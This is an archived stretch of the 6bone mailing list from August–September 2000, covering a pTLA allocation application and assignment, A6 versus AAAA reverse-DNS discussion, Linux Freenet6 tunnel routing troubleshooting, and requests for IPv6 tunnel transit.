>aggressively pushing development and introduction of IPv6 to its customers
>and users of the Internet.
>
>    We are requesting pTLA status on 6bone, earlier then the 3 months 
> required
>membership of 6bone.  We hope to meet 6bone's requirements, any issues let me
>know.
>
>Kind Regards,
>
>Shrihari Pandit
>Stealth Communications, Inc.
>
>---
>
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>should be recognized that holders of 6Bone pTLA allocations are expected
>to provide production quality backbone network services for the 6Bone.
>
>   1.  The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.
>       During the entire qualifying period the Applicant must be
>       operationally providing the following:
>
>       --> Our ipv6-site is operational since July 6th 2000.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>         --> We fully maintain, up to date, 6bone registry entries.
>         --> See:
>         -->     ipv6-site:      STEALTH
>         -->     inet6num:       3FFE:2900:E002::/48
>         -->     mntner:         MAINT-AS8002
>         -->     person:         SP5-6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>         --> Our primary connection into 6bone is via Sprint/AS6175,
>         --> running BGP4+.
>         --> Link IP (Stealth Sprint): 3ffe:2900:e:2::2 3ffe:2900:e:2::1
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>         --> We maintain DNS forward (AAAA) and reverse (ip6.int) entries
>         --> on auth01.stealth.net & auth02.stealth.net.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>         --> List of IPv6 services is located in ipv6-site "STEALTH" object.
>
>         --> Complete list of IPv6 applications are located bottom of this
>         --> email, please do not redistribute to mailing-list.
>
>   2.  The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>       --> Our objectives are to provide production quality IPv6 service.
>       --> Stealth's regional backbone is almost native IPv6 now, and is
>       --> providing native IPv6 links (T1 to T3) to customers.  We are
>       --> also actively developing dozens of applications for the public.
>       --> (See Stealth IPv6 applications, towards end of e-mail).
>
>       --> Support staff members: SP5-6BONE, VIHA1-6BONE
>       --> Common mailbox for support: ipv6@stealth.net, support@stealth.net
>
>   3.  The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or
>       focus of interest. Applicant must provide a statement and
>       information in support this claim.
>
>       --> Stealth Communications, Inc. is a commerical provider of
>       --> high-speed, dedicated Internet access.
>
>       --> We serve customers in many sectors. They includes:
>       --> Research institutions, Public & Private Schools and Universities
>       --> Small to large profit/non-profit, ISP's, Content providers,
>       --> Stock Exchanges, Telephone operators, and more.
>
>
>   4.  The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>       --> We agree.
>
>
>Thank you for your time,
>
>
>Kind Regards,
>
>Shrihari Pandit
>Stealth Communications, Inc.
>
>-------------------------------------------------------------------------
>IPv6    Planned Services at Stealth Communications, Inc.
>-------------------------------------------------------------------------
>
>Deployment (weeks)      :: Type of service.
>
>* Standard services accessible to everybody:
>0       + ping          :: A traditional latency-test for IPv6 participants.
>Now     + www           :: Company and customer homepages served via IPv6.
>
>
>* Services open to the public:
>Now     + irc           :: Access to a global IPv4 IRC-network via IPv6.
>2       + ntp           :: A public time-service offered via IPv6.
>3       + ftp           :: A comprehensive FTP-site accessible via IPv6.
>2       + lg            :: A looking-glass offering sight into the IPv6 world.
>2       + smtp-bounce   :: A list-bot for people testing their IPv6 
>mail-setup.
>1       + fortune       :: Quote of the day, UNIX-style via telnet.
>3       + rwhois        :: Access to our IPv6 rwhois-records.
>Now     + missingU.com  :: Online Postcards, Diary, Stories/Poems and more!
>
>
>* Services available free of charge after $0 registration:
>
>6       + emul-serv     :: Unlimited access to virtual platforms running 
>ancient OS'es.
>4       + tunnel-serv   :: Very flexible dynamic and static tunnels for 
>end-users.
>2       + proxy-serv    :: Access to v4<->v6 connection-forwarding for WWW.
>2       + nntp          :: Unlimited (read-only) news-service.
>8       + dialup        :: Unlimited access to IPv6 via our dialup-spool.
>?       + shell-serv    :: Account on an IPv6-only UNIX-server with 
>www6-hosting.
>2       + zork-game     :: Zork/Dungeon (Infocom), a classical 
>text-adventure via Telnet.
>
>                         >> Possibly also other games (choose via a menu?)
>                         >> Access to a Telnet IRC-client via IPv6 (via menu?)
>
>* Services available to customers only:
>Now     + ipv6          :: Full IPv6 networking upon routinely accepted 
>request.
>
>
>---
>
>Some background information on Stealth's network:
>    http://traffic.stealth.net
>    http://traffic.stealth.net (Outdated, but shows Stealth's SONET network)
>
>---
>
>Delivered-To: digital@stealth.net
>Content-Type: TEXT/PLAIN; charset=US-ASCII
>Approved-By:  Francois Baligant <francois@BE.EURO.NET>
>Message-ID:  <Pine.GSO.4.21.0008230115430.8124-100000@caolila>
>Date:         Wed, 23 Aug 2000 01:51:41 +0200
>Reply-To: Francois Baligant <francois@BE.EURO.NET>
>Sender: IRCnet opers mailing-list <opers@ML.MAGICNET.ORG>
>From: Francois Baligant <francois@BE.EURO.NET>
>Subject:      [OPERS] First Transatlantic IPv6 link
>
>         Hi,
>
>         Im very pleased to announce you that tonight the
>         first IPv6 ircd server-to-server link was established
>         between Stealth Communications, Inc. (NYC) and Wanadoo
>         Belgium NV/SA. (ircd.stealth.net <-> ircd.wanadoo.be)
>
>         A direct IPv6 peering was established between Stealth
>         and Wanadoo using an IPv6-over-v4 tunnel.
>
>         The 2 hubs connected without any problems.
>
>         I would like here to thanks all the people that worked
>         so hard on our ircd's IPv6 support. Our ircd is one
>         of the first to be really IPv6-ready and we have to
>         be proud of that.
>
>         Now looks like a good time to experiment with IPv6, so
>         go ahead and let's move this net into the next millenium :-)
>
>         Regards,
>         Francois aka aXs
>
>Francois Baligant            * *       Wanadoo Belgium NV/SA
>Network Operation Center   *     *     a subsidiary of France Telecom
>                           *            Lozenberg 22 - B-1932 Zaventem
>FB1-6BONE                *             tel: +32 2 717 17 17
>francois@be.wanadoo.com                fax: +32 2 717 17 77
>
>---



From 6bone-owner  Tue Sep 12 17:20:13 2000
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Date: Tue, 12 Sep 2000 17:12:50 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA  3FFE:80A0::/28 assigned to Berkom
Cc: "Scheffler, Thomas" <Thomas.Scheffler@telekom.de>, a.zehl@berkom.de,
        Christian Hahn <CHahn@telekom.de>,
        Dirk Hetzer <Dirk.Hetzer@telekom.de>, eder@berkom.de,
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6bone Folk,

BERKOM's 2 week review for their pTLA has passed with no comment.

I have assigned them the pTLA 3FFE:80A0::/28.


Thanks,

Bob


From 6bone-owner  Wed Sep 13 05:31:08 2000
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To: Bob Fink <fink@es.net>, "Terry" <mterry6249@uswest.net>
From: David Harmelin <david.harmelin@dante.org.uk>
Subject: Re: IPV6 reverse DNS
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Dear all,

RFC 2874 predicts the replacement of AAAA records (under the ip6.int zone) 
by A6 records (under the ip6.arpa zone).

However, the 6bone DNS reverse delegation seems to only implement the AAAA 
solution.
DANTE and the TEN-155 connected countries in Europe have started 
implementing the A6 delegation, with a fake root server.

Are there any plans on the 6bone to migrate?

DH.

At 01:07 PM 9/7/00 -0700, Bob Fink wrote:
You will need a nameserver that supports IPv6 AAAA records. The IPv6 DNS 
Setup web
___________________________________________________________________
             * *         David Harmelin  	Network Engineer
           *     *				DANCERT Representative
          *              Francis House
         *               112 Hills Road       Tel +44 1223 302992
         *               Cambridge CB2 1PQ    Fax +44 1223 303005
      D  A  N  T  E      United Kingdom       WWW http://www.dante.net
____________________________________________________________________


From 6bone-owner  Wed Sep 13 07:08:51 2000
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To: Bob Fink <fink@es.net>, "Terry" <mterry6249@uswest.net>
From: David Harmelin <david.harmelin@dante.org.uk>
Subject: Re: IPV6 reverse DNS
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Please disregard my previous mail, I clearly did not have enough coffee.
This was fixed, so I will try to reformulate:

1. Do some participants on the 6bone use A6 records (and bind9), in 
parallel  to (or without defining) AAAA records? RFC2874 predicts that AAAA 
should be replaced by A6 in the long run.

2. http://www.6bone.net/6bone_reverse_dns.html prones delegation of reverse 
resolution using NS records, and under the ip6.int tree.
Bind9 introduces a new way of delegating through DNAMEs. Is anybody out 
there using it? As far as I can see, it may break queries, if a participant 
tries to use it, as many servers (or clients) may not understand DNAME 
answers to a PTR query.

So, if this is the future, wouldnt it make sense that everybody switch 
progressively to bind9?
Or do the majority not believe in A6 and DNAME records?

Cheers,

DH.
___________________________________________________________________
             * *         David Harmelin  	Network Engineer
           *     *				DANCERT Representative
          *              Francis House
         *               112 Hills Road       Tel +44 1223 302992
         *               Cambridge CB2 1PQ    Fax +44 1223 303005
      D  A  N  T  E      United Kingdom       WWW http://www.dante.net
____________________________________________________________________


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From: "Leonardo R. Cabral" <mcabral@unl.edu.ar>
To: <6bone@ISI.EDU>
Subject: =?iso-8859-1?Q?Deustch_W=F6rter?=
Date: Wed, 13 Sep 2000 11:36:43 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_0033_01C01D76.E43E2BC0
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	charset="iso-8859-1"
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Hi, can anybody translate the following phrase written in a security =
document in german:
" Im Internet aber schreit man Zeter und Mordio, weil die Zahlungsdaten =
im Klartext =FCbertragen werden. "
I don=B4t know the meaning of "Zeter" and "Mordio".
Thanks,=20
Auf Wiedersehen,

Leonardo
mcabral@unl.edu.ar=20

------=_NextPart_000_0033_01C01D76.E43E2BC0
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, can anybody translate the following =
phrase=20
written in a security document in german:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>" Im Internet aber schreit man Zeter =
und Mordio,=20
weil die Zahlungsdaten im Klartext =FCbertragen werden. "</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I don=B4t know the meaning of "Zeter" =
and=20
"Mordio".</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Auf Wiedersehen,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Leonardo</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:mcabral@unl.edu.ar">mcabral@unl.edu.ar</A>=20
</FONT></DIV></BODY></HTML>

------=_NextPart_000_0033_01C01D76.E43E2BC0--


From 6bone-owner  Wed Sep 13 07:54:57 2000
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To: David Harmelin <david.harmelin@dante.org.uk>, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: IPV6 reverse DNS
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David,

As this was partially addressed to me I'll make a brief reply. However, for 
a more informative answer, others on the 6bone list will have to respond.

It is the intent for IPv6 hosts/networks to progressively switch to new 
versions of DNS that support A6 and DNAME records, when they are well 
developed, tested and widely available. I don't really know the current 
status of this, nor the answer to your two numbered questions, thus I must 
leave it to others on the list to respond. Let's see what they say.


Bob

At 03:07 PM 9/13/2000 +0100, David Harmelin wrote:
>Please disregard my previous mail, I clearly did not have enough coffee.
>This was fixed, so I will try to reformulate:
>
>1. Do some participants on the 6bone use A6 records (and bind9), in 
>parallel  to (or without defining) AAAA records? RFC2874 predicts that 
>AAAA should be replaced by A6 in the long run.
>
>2. http://www.6bone.net/6bone_reverse_dns.html prones delegation of 
>reverse resolution using NS records, and under the ip6.int tree.
>Bind9 introduces a new way of delegating through DNAMEs. Is anybody out 
>there using it? As far as I can see, it may break queries, if a 
>participant tries to use it, as many servers (or clients) may not 
>understand DNAME answers to a PTR query.
>
>So, if this is the future, wouldnt it make sense that everybody switch 
>progressively to bind9?
>Or do the majority not believe in A6 and DNAME records?
>
>Cheers,
>
>DH.
>___________________________________________________________________
>             * *         David Harmelin          Network Engineer
>           *     *                               DANCERT Representative
>          *              Francis House
>         *               112 Hills Road       Tel +44 1223 302992
>         *               Cambridge CB2 1PQ    Fax +44 1223 303005
>      D  A  N  T  E      United Kingdom       WWW http://www.dante.net
>____________________________________________________________________


From 6bone-owner  Wed Sep 13 08:00:33 2000
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On Wed, 13 Sep 2000, David Harmelin wrote:

> Dear all,
> 
> RFC 2874 predicts the replacement of AAAA records (under the ip6.int zone) 
> by A6 records (under the ip6.arpa zone).

Hang on, AAAA records to be replaced by A6 records are in forward tables,
reverse lookups under ip6.int currently using PTR records are to be
replaced by bit-string labels under IP6.ARPA.

Pete.


From 6bone-owner  Wed Sep 13 11:15:17 2000
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Date: Wed, 13 Sep 2000 20:14:38 +0200 (MEST)
From: Silvia Baumann <thor@zwerg.at>
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Hi,

> Hi, can anybody translate the following phrase written in a security
> document in german: " Im Internet aber schreit man Zeter und Mordio,
> weil die Zahlungsdaten im Klartext übertragen werden. " 
>
> I don´t know the meaning of "Zeter" and "Mordio".

According to the dictionary the correct phrase for Zeter and Mordio
is "hue and cry" :-)

The whole thing should mean something like: But in the Internet
everybody is extremely upset, because the payment data is transmitted
in clear text.


Regards,

Silvia Baumann
-- 
              .     .
              |\-=-/|
           /| |O _ O| |\
         /' \ \_^-^_/ / `\
       /'    \-/ ~ \-/    `\
       |      /\\ //\      |
+-------\|\|\/-""-""-\/|/|/-------------------------------------------+
|  thor@zwerg.at                         Silvia Baumann               |
|  silvia.baumann@fh-sbg.ac.at           Prueckelmayrgasse 4/11/15    |
|                                        A-1230 Wien                  |
|  http://atpforest.tuwien.ac.at/~thor/  Tel.-Nr.: +43 1 8872053      |
+---------------------------------------------------------------------+


From 6bone-owner  Wed Sep 13 21:48:24 2000
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From: Daniel Richards <kyhwana@world-net.co.nz>
Reply-To: kyhwana@world-net.co.nz
To: 6BONE List <6bone@ISI.EDU>
Subject: Freenet6 IPv6 tunnel
Date: Thu, 14 Sep 2000 16:41:44 +1200
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hey all, you've probably seen this asked before, but i've looked all over and I
can't seem to find an answer.
Im trying to use the freenet6.net IPv6 over ipv4 tunnel.
Im using linux 2.2.16 (with updated nettools/etc) but when I run "route -A
inet6 default gw fe80::206.123.31.102 dev sit1" I get route: Resolver Error0
(No error)
I can get ipv6 domain names by using ping6/etc but I can't seem to connect to
the other side of the tunnel or anywhere else in the IPv6 network?
(and yes, I have all the IPv6 stuff compiled into the kernel)
If someone could point me to a webpage that has something about this i'd
appreciate it. I've had a look at the IPv6 linux faqs, but none seem to help.


 -- 
http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in a puff of
logic."
-----BEGIN PGP SIGNATURE-----
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iD8DBQE5wFfUHxSqGAiQwxwRAlFqAKCmqiyf5MjUl3ZpRadDyNz2SkljPwCfcB6w
+5ACJYxMexf9S4TUlPndkxo=
=DUXi
-----END PGP SIGNATURE-----

From 6bone-owner  Thu Sep 14 01:00:15 2000
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Subject: Re: IPV6 reverse DNS
To: david.harmelin@dante.org.uk (David Harmelin)
Date: Thu, 14 Sep 2000 00:59:51 -0700 (PDT)
Cc: fink@es.net (Bob Fink), mterry6249@uswest.net (Terry),
        6bone@ISI.EDU (6BONE List)
In-Reply-To: <4.2.2.20000913132347.00b62500@alpha.dante.org.uk> from "David Harmelin" at Sep 13, 2000 01:29:43 PM
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 Sure, as soon as BIND supports A6 records. Through BINDv9rc5, A6 records
would cause an assertion failure. There is also a plan to open a real v6
capable root server system by the end of the year.



% 
% Dear all,
% 
% RFC 2874 predicts the replacement of AAAA records (under the ip6.int zone) 
% by A6 records (under the ip6.arpa zone).
% 
% However, the 6bone DNS reverse delegation seems to only implement the AAAA 
% solution.
% DANTE and the TEN-155 connected countries in Europe have started 
% implementing the A6 delegation, with a fake root server.
% 
% Are there any plans on the 6bone to migrate?
% 
% DH.
% 
% At 01:07 PM 9/7/00 -0700, Bob Fink wrote:
% You will need a nameserver that supports IPv6 AAAA records. The IPv6 DNS 
% Setup web
% ___________________________________________________________________
%              * *         David Harmelin  	Network Engineer
%            *     *				DANCERT Representative
%           *              Francis House
%          *               112 Hills Road       Tel +44 1223 302992
%          *               Cambridge CB2 1PQ    Fax +44 1223 303005
%       D  A  N  T  E      United Kingdom       WWW http://www.dante.net
% ____________________________________________________________________
% 
% 


-- 
--bill

From 6bone-owner  Thu Sep 14 01:10:54 2000
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Subject: Re: IPV6 reverse DNS
To: david.harmelin@dante.org.uk (David Harmelin)
Date: Thu, 14 Sep 2000 01:10:41 -0700 (PDT)
Cc: fink@es.net (Bob Fink), mterry6249@uswest.net (Terry),
        6bone@ISI.EDU (6BONE List)
In-Reply-To: <4.2.2.20000913145219.00b43960@alpha.dante.org.uk> from "David Harmelin" at Sep 13, 2000 03:07:25 PM
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 In Bindv9rc5, use of A6 records will generate an assert failure -UNLESS-
the A6 records are in the degeneate case where they can not be distingusished
between AAAA records.  Bitstrings (DNAME) lables share the same fate.
Hopefully some corrections will be made before Bindv9 is actually released.
There are backard compatability issues w/ earlier resolvers.


% 
% Please disregard my previous mail, I clearly did not have enough coffee.
% This was fixed, so I will try to reformulate:
% 
% 1. Do some participants on the 6bone use A6 records (and bind9), in 
% parallel  to (or without defining) AAAA records? RFC2874 predicts that AAAA 
% should be replaced by A6 in the long run.
% 
% 2. http://www.6bone.net/6bone_reverse_dns.html prones delegation of reverse 
% resolution using NS records, and under the ip6.int tree.
% Bind9 introduces a new way of delegating through DNAMEs. Is anybody out 
% there using it? As far as I can see, it may break queries, if a participant 
% tries to use it, as many servers (or clients) may not understand DNAME 
% answers to a PTR query.
% 
% So, if this is the future, wouldnt it make sense that everybody switch 
% progressively to bind9?
% Or do the majority not believe in A6 and DNAME records?
% 
% Cheers,
% 
% DH.
% ___________________________________________________________________
%              * *         David Harmelin  	Network Engineer
%            *     *				DANCERT Representative
%           *              Francis House
%          *               112 Hills Road       Tel +44 1223 302992
%          *               Cambridge CB2 1PQ    Fax +44 1223 303005
%       D  A  N  T  E      United Kingdom       WWW http://www.dante.net
% ____________________________________________________________________
% 
% 


-- 
--bill

From 6bone-owner  Thu Sep 14 01:18:55 2000
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From: Antonio Querubin <tony@lava.net>
To: Daniel Richards <kyhwana@world-net.co.nz>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Freenet6 IPv6 tunnel
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On Thu, 14 Sep 2000, Daniel Richards wrote:

> Im trying to use the freenet6.net IPv6 over ipv4 tunnel.
> Im using linux 2.2.16 (with updated nettools/etc) but when I run "route -A
> inet6 default gw fe80::206.123.31.102 dev sit1" I get route: Resolver Error0
> (No error)

Don't use 'default', use '::0/0' instead.  Try:

route -A inet6 ::0/0 dev sit1

You can also add the following to your /etc/sysconfig/static-routes file
so that the default ipv6 route is added at boot time:

sit1 A inet6 ::0/0



From 6bone-owner  Thu Sep 14 09:09:25 2000
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Date: Thu, 14 Sep 2000 18:21:10 +0200
From: Julio Baixauli <baixauli@mat.upc.es>
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Subject: Ping: works/don't works (Linux)
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	Hello!

	I've two Linux-IPv6 machines connected throw a ethernet. I can ping
from one to other using site-local addresses (feco:2::209 and
fec0:2::216) but I can't ping using global addresses (::ffff:0:9353:27d1
and ::ffff:0:9353:27d8). I've configured all the addresses identically (
at /etc/sysconfig/network-ip6.conf ).

	The question is: what's wrong?? Any ideas are welcomed!!

	Thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

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Subject: Re: Freenet6 IPv6 tunnel
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Daniel Richards wrote:
> Hey all, you've probably seen this asked before, but i've looked all over and I
> can't seem to find an answer.
> Im trying to use the freenet6.net IPv6 over ipv4 tunnel.
> Im using linux 2.2.16 (with updated nettools/etc) but when I run "route -A
> inet6 default gw fe80::206.123.31.102 dev sit1" I get route: Resolver Error0
> (No error)
> I can get ipv6 domain names by using ping6/etc but I can't seem to connect to
> the other side of the tunnel or anywhere else in the IPv6 network?
> (and yes, I have all the IPv6 stuff compiled into the kernel)
> If someone could point me to a webpage that has something about this i'd
> appreciate it. I've had a look at the IPv6 linux faqs, but none seem to help.

The error is the "default" in the script. Default is on some
machines(and should be) an alias to ::/0. You can either set the network
alias or just change default to ::/0 in the script as follows:

route -A inet6 ::/0 gw fe80::206.123.31.102 dev sit1

Took me ages to figure that one out..
	//Mattias From

-- 
Sigblock empty. By choice.

From 6bone-owner  Fri Sep 15 03:27:09 2000
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Julio Baixauli" <baixauli@mat.upc.es>, "6bone mail list" <6bone@ISI.EDU>
References: <39C0FAF6.7DC762BF@mat.upc.es>
Subject: Re: works/don't works (Linux)
Date: Fri, 15 Sep 2000 11:25:21 +0100
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Julio

The 'global' addresses you are using aren't!  They appear to be (broken)
IPv4-translatable addresses - ie IPv4 addresses encoded in IPv6 format, but
denoting an IPv4-only node.  Not surprisingly, your ping6 implementation
doesn't work because it only handles IPv6 addresses.

I suggest that you use 'real' global addresses from your tunnel provider, or
try IPv4-compatible addresses.

Cheers

Peter

----- Original Message -----
From: "Julio Baixauli" <baixauli@mat.upc.es>
To: "6bone mail list" <6bone@ISI.EDU>
Sent: Thursday, September 14, 2000 5:21 PM
Subject: Ping: works/don't works (Linux)


>
> Hello!
>
> I've two Linux-IPv6 machines connected throw a ethernet. I can ping
> from one to other using site-local addresses (feco:2::209 and
> fec0:2::216) but I can't ping using global addresses (::ffff:0:9353:27d1
> and ::ffff:0:9353:27d8). I've configured all the addresses identically (
> at /etc/sysconfig/network-ip6.conf ).
>
> The question is: what's wrong?? Any ideas are welcomed!!
>
> Thank you very much!
>
> --
> ********************************************
>
> Julio Baixauli Garreta
> baixauli@mat.upc.es
>
> ********************************************
>


From 6bone-owner  Fri Sep 15 05:04:40 2000
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Date: Fri, 15 Sep 2000 13:04:30 +0100 (BST)
From: Mark Drayton <mark.drayton@4thwave.co.uk>
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To: 6bone@ISI.EDU
Subject: Freenet6 routing troubles
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Hi

I am trying to get my linux box connected to 6bone via Freenet6. I have
downloaded the script from Freenet6 and changed default to ::0/0 (also
tried ::/0) and run it, but I still can't ping6 a remote address or even
the other end of the tunnel (ie the Freenet6 address). Pinging eth0 on the
IPv6 address I got from Freenet6 works fine.

[root@ipv6 /root]# ping6 3ffe:b00:c18:1fff:0:0:0:746
PING 3ffe:b00:c18:1fff:0:0:0:746(3ffe:b00:c18:1fff::746) 56 data bytes
>From ::1: Destination unreachable: Address unreachable
(pinging Freenet6 end of tunnel)

[root@ipv6 /root]# route -A inet6 -n
Kernel IPv6 routing table
Destination                  Next Hop        Flags Metric Ref Use  Iface
::1/128                      ::              U     0      1   0    lo      
::127.0.0.1/128              ::              U     0      0   0    lo      
::195.26.32.63/128           ::              U     0      0   0    lo      
::/96                        ::              U     256    0   0    sit0    
3ffe:b00:c18:1fff::747/128   ::              U     0      5   1    lo      
fe80::c31a:203f/128          ::              U     0      0   0    lo      
fe80::2a0:ccff:fed0:ab74/128 ::              U     0      0   0    lo      
fe80::/10                    ::              UA    256    0   0    eth0    
fe80::/10                    ::              UA    256    0   0    sit1    
ff00::/8                     ::              UA    256    0   0    eth0    
ff00::/8                     ::              UA    256    0   0    sit1    
::/0                         fe80::ce7b:1f66 UG    1      4   0    sit1    
::/0                         ::              UDA   256    0   0    eth0    

I have spent days messing about with this, reading all the documentation I
can find. Why does the Freenet6 script set up two tunnels whereas Peter
Bieringer's docs only set up one?

Also, eth0 seems to be bound to an IPv6 address when the machine is
booted:

[root@ipv6 /root]# ifconfig 
eth0      Link encap:Ethernet  HWaddr 00:A0:CC:D0:AB:74  
          inet addr:195.26.32.63  Bcast:195.26.32.255  Mask:255.255.255.0
          inet6 addr: fe80::2a0:ccff:fed0:ab74/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

What is this fe80::2a0:ccff:fed0:ab74/10 address?

Thanks for any answers

Mark Drayton
4th Wave Technologies


From 6bone-owner  Fri Sep 15 06:43:10 2000
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Date: Thu, 14 Sep 2000 05:41:51 -0400
To: kyhwana@world-net.co.nz, 6BONE List <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: Freenet6 IPv6 tunnel
Cc: support@freenet6.net
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At/À 16:41 2000-09-14 +1200, Daniel Richards you wrote/vous écriviez:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Hey all, you've probably seen this asked before, but i've looked all over 
>and I
>can't seem to find an answer.
>Im trying to use the freenet6.net IPv6 over ipv4 tunnel.
>Im using linux 2.2.16 (with updated nettools/etc) but when I run "route -A
>inet6 default gw fe80::206.123.31.102 dev sit1" I get route: Resolver Error0
>(No error)
>I can get ipv6 domain names by using ping6/etc but I can't seem to connect to
>the other side of the tunnel or anywhere else in the IPv6 network?
>(and yes, I have all the IPv6 stuff compiled into the kernel)
>If someone could point me to a webpage that has something about this i'd
>appreciate it. I've had a look at the IPv6 linux faqs, but none seem to help.

send your questions to support@freenet6.net and we can try to answer your 
questions.

Marc.



>  --
>http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
>"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in 
>a puff of
>logic."
>-----BEGIN PGP SIGNATURE-----
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>
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>+5ACJYxMexf9S4TUlPndkxo=
>=DUXi
>-----END PGP SIGNATURE-----


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Fri Sep 15 12:18:07 2000
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To: 6bone@ISI.EDU
Subject: 6bone contact request
From: Hal Snyder <hal@vailsys.com>
Date: 15 Sep 2000 14:17:58 -0500
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Per the instructions at http://www.6bone.net/6bone_hookup.html, I'm
turning to this list to request a 6bone pTLA/pNLA transit for Vail
Systems. We are based in Chicago. I have emailed contacts at listed
pTLAs and not heard back.

Thank you.

From 6bone-owner  Fri Sep 15 14:52:49 2000
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Date: Fri, 15 Sep 2000 17:52:30 -0400 (EDT)
From: Jason <jslagle@toledolink.com>
To: Hal Snyder <hal@vailsys.com>
cc: 6bone@ISI.EDU
Subject: Re: 6bone contact request
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Looking just for 6bone transit?

If so, I can help.

I'm TIAI :)

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
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On 15 Sep 2000, Hal Snyder wrote:

> Per the instructions at http://www.6bone.net/6bone_hookup.html, I'm
> turning to this list to request a 6bone pTLA/pNLA transit for Vail
> Systems. We are based in Chicago. I have emailed contacts at listed
> pTLAs and not heard back.
> 
> Thank you.
> 


From 6bone-owner  Fri Sep 15 15:34:12 2000
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Date: Fri, 15 Sep 2000 15:38:38 -0700
To: Jason <jslagle@toledolink.com>, Hal Snyder <hal@vailsys.com>
From: Cyndi Jung <cmj@3Com.com>
Subject: Re: 6bone contact request
Cc: 6bone@ISI.EDU
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 com>
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Jason,

I have also offered Hal a tunnel, and from the network traces, he is
quite close, topologically, to my site, since we are both connecting
through Level 3.  My traces to your site go through mae-east - I
suspect Hal's path to you goes a similar route out of Level 3's
network.

It's up to Hal, but I think I have the quicker path :-)

Cyndi

At 05:52 PM 9/15/00 -0400, Jason wrote:
>Looking just for 6bone transit?
>
>If so, I can help.
>
>I'm TIAI :)
>
>Jason
>
>---
>Jason Slagle - CCNA - CCDA
>Network Administrator - Toledo Internet Access - Toledo Ohio
>- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
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>------END GEEK CODE BLOCK------
>
>
>On 15 Sep 2000, Hal Snyder wrote:
>
>> Per the instructions at http://www.6bone.net/6bone_hookup.html, I'm
>> turning to this list to request a 6bone pTLA/pNLA transit for Vail
>> Systems. We are based in Chicago. I have emailed contacts at listed
>> pTLAs and not heard back.
>> 
>> Thank you.
>> 
>
>


From 6bone-owner  Fri Sep 15 17:57:30 2000
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Date: Fri, 15 Sep 2000 21:00:50 -0400 (EDT)
From: Todd Vierling <tv@pobox.com>
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To: 6bone@ISI.EDU
Subject: Tunnel request (24.31.102.19, Atlanta GA)
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I am trying to find someone to carry a relatively low usage tunnel and
provide a delegation of as small as /124.  I work for Wasabi Systems, who
commercially supports NetBSD, with the integrated KAME/WIDE merged stack. I
can accept just about any tunnel method, including 6to4, gif (RFC1933), and
GRE.

I've tried contacting the MERIT and ANSNET people, with ANSNET's mail
bouncing, and MERIT's mail looping.  These are the two pTLAs that are
closest to me as the fiber runs, at 12 and 13 hops, respectively.

A pNLA is fine with me, too, if someone's within the RR network or close by,
so please let me know!  RoadRunner in Atlanta has near peerings with:

    att.net (9 hops, Greensboro NC: 12.124.235.25, but Amazingly Low Latency)
    cw.net (5 hops, core3.Atlanta.cw.net)
